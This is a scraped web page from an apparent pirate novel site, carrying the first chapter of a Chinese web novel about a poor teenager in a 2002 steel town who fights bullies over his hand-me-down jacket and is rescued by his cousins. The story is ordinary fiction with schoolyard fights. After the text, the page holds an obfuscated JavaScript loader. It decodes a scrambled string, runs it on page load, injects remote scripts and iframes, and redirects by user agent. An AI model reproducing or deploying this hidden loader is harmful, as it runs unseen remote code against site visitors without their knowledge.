首页
第一章 旧衣
返回

第一章 旧衣

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第一章旧衣(第1/2页)
    2002年9月,北方的秋天来得又急又狠。几场雨下来,暑气被冲刷得干干净净,只剩下干冷的北风,像刀子一样刮着这座老工业城市的每一寸皮肤。
    钢厂附中的操场,黄土被踩得板结,边上几棵老杨树叶子黄了一半,风一过就哗啦啦地响,像是随时要掉下来。
    陈默写名字感觉起的很随意,其实他父亲的做人宗旨,沉默是金!而且小名默默叫着也上口,谐音馍馍也好养活。
    陈默站在篮球架下,身上那件洗得发白的蓝色运动外套,袖口已经磨出了毛边,,肘部还有一道不显眼的缝线。这是大堂哥陈勇前年穿剩的,传给了二堂哥陈猛,去年到了三堂哥陈智身上,今年开春,才落到陈默手里。
    衣服本身没问题,保暖,厚实。问题是它太“有名”了。不过也没办法,一套冬季校服要200多,而且保暖全靠里面的衣物,用陈默的话说,校服就像囚服,只是一个符号。
    “哟,看看这是谁?”一个公鸭嗓子从背后响起,“这不是咱们班的‘传家宝’吗?今年轮到穿这件‘祖传黄马褂’了?”校服是黄色的,代表着钢铁融化的铁水。
    陈默没回头,听声音就知道是刘大头,班里最爱咋呼的那个,爹是钢厂一个小班长,自觉高人一等。
    “我说陈默,你们老陈家是不是就这一件外套啊?兄弟几个轮着穿,一件衣服永流传?”刘大头走过来,身后跟着两个平时爱凑热闹的男生。他伸手就去扯陈默的袖口,“让我看看,这补丁是不是又多了几个?你妈手艺不错啊,补得还挺密。”
    旁边传来几声压抑的嗤笑。
    陈默把手插进外套口袋,没说话。他个子不矮,但偏瘦,站在那里像一根绷紧的竹竿。他眼睛看着远处教学楼斑驳的红砖墙,墙上用白漆刷着的“好好学习天天向上”已经褪色。
    “跟你说话呢,聋了?”刘大头觉得面子挂不住,用力推了陈默肩膀一下。
    陈默踉跄一步,站稳了。他终于转过头,看着刘大头那张因为早起而油腻、长着几颗青春痘的脸。他的眼睛很黑,没什么情绪,就像两口深井。
    “衣服能穿就行,我穿什么要你管。”他说,声音不高,有点哑。
    “能穿就行?”刘大头像是听到了天大的笑话,“陈默,你知道现在外面都穿什么吗?阿迪!耐克!最次也是李宁!你看看你,你这破衣服,扔垃圾堆里捡破烂的都得掂量掂量!你们家是不是穷得连件新衣服都买不起了?你爸不是厂里技术员吗?技术员就这待遇?”
    “我爸挣的钱,怎么花,关你屁事。”陈默的语气还是平的,但眼神冷了下来。
    “哎哟,还横上了?”刘大头被那眼神刺了一下,随即更恼火,觉得在跟班面前丢了份,“我就说了怎么着?你爸没本事!你妈死得早!你们一家子都是穷酸货!穿哥哥的破衣服,吃别人剩饭的吧你!”
    “你再说一遍。”陈默的声音低得像从喉咙里挤出来的。
    “我说你妈——”刘大头的话没说完。
    陈默的拳头已经砸在了他鼻梁上。
    不是那种学生打架常见的胡乱挥舞,是带着一股狠劲,从小巷打架里练出来的、目标明确的直拳。拳头接触皮肉的闷响,和鼻骨可能裂开的细微“咔嚓”声混在一起,称对方还没有防备突然袭击,成功率百分百。
    刘大头“嗷”一嗓子,捂着鼻子倒退好几步,指缝里立刻见了红。他被打懵了,眼泪鼻涕混着血一起流下来。
    周围看热闹的学生也懵了,谁也没想到平时闷不吭声的陈默会突然动手,还这么狠。
    “你大爷的!给我打!”刘大头含糊不清地吼着。
    他身后两个男生反应过来,一左一右扑上来。一个去抱陈默的腰,另一个挥拳打向陈默的脸。
    陈默没躲那一拳,硬生生用颧骨接了,同时膝盖狠狠顶上抱腰那人的肚子。抱腰的男生“呃”地一声松开手,蜷缩下去。陈默顺势抓住挥拳那人的手腕,往自己怀里一拽,一巴掌扇蒙对方,双手抱着对方的脖子,将他的身体下压,一顿膝盖对着对方的身体就是疯狂输出,好像在跳高抬腿一样。
    又是一阵痛叫。
    短短十几秒,三个人倒下去一个,另外两个挂了彩。陈默自己也没好到哪里去,颧骨火辣辣地疼,嘴里有铁锈味,估计嘴唇破了。他喘着粗气,站在那儿,看着捂着鼻子蹲在地上的刘大头,还有旁边捂着脸**的两人。
    操场安静了。风卷着几片黄叶刮过去。
    “你……你等着!”刘大头色厉内荏地指着陈默,血滴在他的校服前襟上,“有种放学别走!”
    陈默抹了一把嘴角的血,没理他,弯腰捡起刚才扭打时掉在地上的书包。书包是军绿色的,也很旧了,但洗得干净。他拍了拍土,转身往教学楼走。
    背影瘦削,但挺得笔直。那件磨白了袖口的蓝色外套,在秋日的风里,显得有些空荡。
    看热闹的学生自动让开一条路,眼神复杂,有惊讶,有畏惧,也有点别的什么。
    陈默走进教学楼,穿过昏暗的走廊,来到初三(七)班门口。上课铃还没响,班里嗡嗡的议论声在他踏进门的那一刻,骤然低了下去。无数道目光落在他身上,落在他颧骨的红肿和破裂的嘴角上。
    他走到自己靠窗的座位坐下,把书包塞进桌斗。同桌是个戴眼镜的瘦小男生,悄悄往旁边挪了挪。
    陈默没在意这些人,蝼蚁,这些人在他眼里就是蝼蚁起码本性和蝼蚁一模一样。他从书包里掏出一个牛皮纸封面的速写本,本子边缘已经磨损,里面夹着一支削得很短的HB铅笔。他翻开本子,最新一页上,是昨天画的教室一角,光影处理得有些意思。
    他拿起铅笔,顿了顿,却没有继续画教室。笔尖在纸上快速移动,勾勒出几个模糊的、扭打在一起的人形,线条粗野,带着怒气。画到一半,他停住了,盯着纸上那些凌乱的线条,眼神空洞。
    然后,他慢慢把这一页撕了下来,揉成一团,紧紧攥在手心里。
    指甲掐进了掌心。
    第一堂课是语文,老师讲着鲁迅的《故乡》,说到“地上本没有路,走的人多了,也便成了路”。陈默看着窗外光秃秃的枝丫,没听进去。颧骨一跳一跳地疼。
    课间十分钟,消息已经长了翅膀。
    “听说了吗?七班那个陈默,把刘大头的鼻子打爆了!”
    “真的假的?陈默?就那个不爱说话的?”
    “真的!一拳见血!刘大头那两个跟班也没讨到好!”
    “为什么啊?”
    “好像是因为刘大头嘴贱,说陈默穿他哥的旧衣服,还扯上他妈了……”
    “啧,那该打。刘大头那张嘴,迟早惹事。”
    “不过陈默这下惹麻烦了,刘大头他爸是工厂的班长,听说跟‘黑龙’那边也跟他爸沾亲呢……”
    “‘黑龙’?高中部那个?”
    “小声点……”
    窃窃私语像潮水一样在走廊里涌动,流经陈默身边时,又自动消音。他像一块沉默的礁石。
    上午最后一节是自习。陈默正对着数学题发呆,教室后门被轻轻敲了敲。班主任老王,一个头发花白的小老头,探进头来,脸色不太好看。
    “陈默,出来一下。”
    全班的目光又聚焦过来。
    陈默放下笔,站起身,走了出去。
    办公室里还有别的老师,目光若有若无地扫过来。老王坐下,指了指面前的椅子:“坐。”
    陈默没坐。
    老王叹了口气:“说说吧,怎么回事?刘斌的鼻子怎么回事?”(刘大头大名叫刘斌)
    “他嘴欠。”陈默言简意赅。
    “他嘴欠你就能动手打人?还打得那么重?鼻梁骨可能都裂了!他家长电话都打到学校来了!”老王敲着桌子,“陈默啊陈默,你平时挺老实一孩子,成绩也还过得去,怎么突然就……”
    “他说我妈。”陈默打断他,声音不高,但办公室里瞬间安静了。几个老师都看了过来。
    老王噎住了,脸上的怒气僵了僵,最后化作一声更重的叹息:“那……那也不能下这么重的手。打架能解决问题吗?他骂你,你可以告诉老师,告诉学校!”
    陈默没说话,只是看着老王桌上那盆半死不活的绿萝。告诉老师?告诉学校?刘大头嘴欠不是一天两天了,以前怎么没见有什么“处理”?无非是各打五十大板,或者不了了之。这个世界,有时候讲道理不如讲拳头,虽然讲拳头之后麻烦更多。
    “刘斌家长要求你道歉,赔偿医药费。”老王揉了揉眉心,“你爸那边……学校也会通知。你回去写份检查,不少于一千字,深刻反省!下午放学别走,等我处理。”
    “嗯。”陈默应了一声,听不出情绪。
    “回去吧,好好上课。”
    陈默转身离开办公室。走廊里空荡荡的,其他班还在上课。他走到尽头,推开那扇锈迹斑斑的铁门,上了天台。
    (本章未完,请点击下一页继续阅读)第一章旧衣(第2/2页)
    天台上风更大,吹得他外套鼓起来。远处,钢厂几根巨大的烟囱正冒着灰白色的烟,缓慢地融入铅灰色的天空。更远处,是城市低矮的、连绵的灰黑色屋顶。
    这座他出生、长大的城市,空气里永远有一股淡淡的煤烟和铁锈混合的味道。繁荣过,也正在缓慢地老去、生锈,就像他身上的这件外套。
    他趴在天台边缘的水泥护栏上,从外套内袋里摸出那个皱巴巴的纸团,慢慢展开。上面那些愤怒的、扭曲的线条,此刻看起来有些可笑。他摸出铅笔,在纸的背面,快速画了起来。
    几笔勾勒出天台的轮廓,远处的烟囱,近处护栏粗糙的质感。风,用倾斜的线条表示。最后,他在画面角落,画了一个小小的、背对观众的影子,趴在护栏上,衣服被风吹得向后鼓荡。
    画完,他静静看了一会儿,然后把这张纸仔细叠好,放回内袋。脸上的疼痛似乎减轻了一些。
    下午的课,陈默上得心不在焉。刘大头没来,据说去医院了。班里的气氛有些诡异,没人再敢当面议论他,但那种疏离和隐隐的畏惧感更明显了。
    放学的铃声终于响了。
    陈默收拾好书包,慢慢往外走。他知道,事情没完。刘大头放话让他“放学别走”,就算刘大头本人不在,他那帮狐朋狗友,或者他“有点关系”的高中部那些人,很可能在等着他。
    果然,刚出教学楼,拐进通往校门口那条两旁种着白杨树的小路,他就被堵住了。
    不是刘大头,是三个穿着高中部校服的男生,叼着烟,吊儿郎当地站在路中间。为首的是个高个子,长得有点凶,眼神不善地盯着陈默。
    “你就是陈默?”高个子吐了个烟圈。
    陈默停下脚步,没说话,手在书包带子上紧了紧。书包里除了书,还有半块板砖——他中午偷偷捡的,用旧报纸包着,放在最底下。他知道可能用得上,也可能用不上,但握着点什么,心里踏实。
    “小子,行啊,挺有种,把我们斌哥打成那样。”高个子走近几步,上下打量着陈默,“知道斌哥跟谁混的吗?”
    陈默还是不说话,目光扫过另外两人。一个胖子,一个瘦猴,都抱着胳膊,一副看热闹的表情。路上还有零星放学的学生,看到这阵势,都远远绕开,或加快脚步,或偷偷观望。
    “哑巴了?上午打人的劲儿呢?”高个子把烟头扔在地上,用脚碾灭,“斌哥说了,两条路:一,现在跪下,磕三个头,说‘斌哥我错了’,医药费赔双倍;二,我们帮你松松骨头,让你躺几天医院,医药费照样赔。”
    陈默慢慢把书包从肩上卸下来,拎在手里。报纸包裹的板砖轮廓硬硬的,硌着他的手心。
    “我选三。”他说。
    “三?”高个子愣了一下。
    陈默用平静的声音回复了一句国粹,平静得让高个子心里莫名毛了一下。
    “操!给你脸了!”高个子骂了一句,挥手,“弄他!”
    胖子和瘦猴应声扑上来。
    陈默没退,反而迎了上去,他知道这个时候,除了拉个垫背的,其他的都是下下策,从历史上看,确实是这样。在胖子拳头挥过来的瞬间,他猛地将手里的书包抡了起来!沉重的书包,加上里面书本和板砖的重量,带着风声,狠狠砸在胖子的侧脸上!
    “砰!”一声闷响,伴随着胖子杀猪般的惨叫。他捂着脸踉跄后退,指缝里瞬间见红,不知道是鼻子还是嘴破了。
    瘦猴的拳头到了,打在陈默肩胛骨上,生疼。陈默闷哼一声,借势转身,手肘狠狠撞在瘦猴的肋部。瘦猴“哎哟”一声弯下腰。他没想到陈默还有这一手,就像个练家子一样。
    高个子这时才反应过来,骂着脏话一脚踹向陈默肚子。陈默躲闪不及,被踹得后退好几步,五脏六腑都像移了位,剧痛让他眼前发黑。
    胖子捂着脸还在嚎,瘦虾米捂着肋骨一时起不来。高个子见一击得手,狞笑着又逼上来,拳头照着陈默面门砸下。
    陈默咬着牙,举起胳膊格挡,拳头砸在小臂上,骨头像要裂开。他另一只手胡乱向前抓去,抓住了高个子的衣领,死命往下拽,同时抬膝猛顶!
    高个子没想到他这么悍勇,被拽得失去平衡,肚子结结实实挨了一下,痛得他倒抽凉气,动作一滞。
    就在陈默准备继续拼命的时候,一声怒吼从路口炸响:
    “我操!动我弟?!”
    陈默扭头,只见路口旋风般冲过来四个人!跑在最前面的大堂哥陈勇,穿着体校的运动服,像一辆小坦克;紧随其后的二堂哥陈猛,剃着板寸,眼露凶光;三堂哥陈智跑得慢点,但手里已经捡了半截砖头;四堂弟陈信最小,跑得气喘吁吁,脸都涨红了,但手里也紧紧攥着一根不知道从哪儿捡来的木棍。
    “哥!”陈默喊了一声,一直紧绷的那口气,忽然就松了松。
    高个子三人也愣住了,看着气势汹汹冲过来的四个人,脸色变了。
    “就你们几个杂碎,堵我弟?!”陈勇冲到近前,二话不说,一拳就砸向高个子面门。他练体育的,拳头又重又狠,高个子慌忙抬手挡,还是被砸得胳膊发麻,连连后退。
    陈猛直接扑向刚缓过劲的瘦猴,一个绊摔把他放倒在地,骑上去就是两拳。陈智比较贼,绕到捂着脸的胖子身后,一砖头拍在他后背上,胖子惨叫着扑倒在地,陈智比较理智,知道这板砖要是打了后脑,胖子明年估计就一岁了。
    陈信挥舞着木棍,有点不知道往哪下手,最后学着陈猛的样子,去戳倒在地上的瘦猴。
    形势瞬间逆转。
    “别打了!别打了!误会!兄弟误会!”高个子被陈勇追着打,抱头鼠窜,嘴里喊着。
    “误会你妈!”陈勇又是一脚踹在他屁股上,“高中部的跑初中部来堵人,还要脸吗?!”
    陈默喘着粗气,靠着杨树站直身体。他看着眼前混战的场面:哥哥弟弟们为了他,跟陌生人打成一团。陈勇的怒吼,陈猛的叫骂,陈智的闷哼,陈信的咋呼……还有对方三人的哀嚎求饶。
    心里那块一直压着的、冰冷的石头,好像被什么东西烫了一下。
    “行了!哥!别打了!”陈默喊了一声。
    陈勇又补了高个子一脚,才喘着粗气停手。陈猛也放开了瘦猴,瘦猴鼻青脸肿地爬起来,躲到一边。胖子趴在地上哼哼。
    陈勇走到陈默面前,上下打量他:“伤哪儿了?重不重?”他脸上也挂了彩,嘴角破了。
    “没事。”陈默摇摇头,“你们怎么来了?”
    “老四放学回去说,看见你被高中部的堵路上了。”陈智扔了砖头,拍拍手上的灰,他眼镜有点歪,但眼神很亮,“我们能不来吗?”
    陈信凑过来,举着木棍:“默哥,你没事吧?我……我来晚了!”
    陈默看着堂弟关切又有点后怕的眼神,心里那点烫意更明显了。他扯了扯嘴角,想笑一下,却牵动了脸上的伤,嘶了一声。
    “先离开这儿。”陈智比较冷静,看了看周围越来越多的围观学生,“一会儿校保卫科的该来了。”
    “走!”陈勇一挥手,搂住陈默的肩膀,又瞪了那三个狼狈的高中生一眼,“再敢碰我弟,腿给你们打折!”
    五个人,勾肩搭背,穿过围观的人群,朝着校门外走去。夕阳把他们的影子拉得很长,投在满是尘土和落叶的小路上。
    身后,是窃窃私语,是惊愕的目光,还有那三个高中生互相搀扶起来的狼狈身影。
    走出校门,拐进一条熟悉的、布满煤灰和生活污水痕迹的小巷,陈勇才松开陈默,仔细看他脸上的伤。
    “怎么搞的?跟谁打架?刘斌?那小子又嘴贱了?”陈勇问。
    陈默简单说了早上的事。
    “妈的,就该揍他!嘴这么臭!”陈猛啐了一口。
    “不过你下手也够狠的,鼻梁骨可能断了。”陈智推了推眼镜,“刘斌他爸是厂里的班长,有点小权,估计后面可能有些麻烦,免不了给大伯穿小鞋使绊子。”
    “怕他个鸟!”陈勇浑不在意,“咱们占理!他先骂人,还带高中部的来堵,说到天边也是他没理!爸那边我去说。”
    陈默没吱声。他知道,很多时候,“理”字在现实面前,挺无力的。但他看着身边这四个因为帮他打架而衣衫不整、却一脸理所当然的堂兄弟,忽然觉得,有麻烦好像也不那么可怕了。
    “先回家吧,别让大伯他们等急了。”陈智说。
    陈勇咧嘴说:“回家吃饭!今天咱妈肯定炖肉了!”
    陈默把书包里的板砖扔出去,这玩意不能带回家。
    五个人,继续沿着小巷往前走。巷子深处,传来谁家炒菜的香味,还有隐约的电视声和孩子的吵闹声。
    城市的黄昏,烟火气渐渐浓了起来。
    陈默走在哥哥弟弟们中间,脸上火辣辣地疼,肚子被踹的地方还在隐隐作痛,但他心里,却感觉比今天任何一个时刻都要轻松,都要……暖和。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();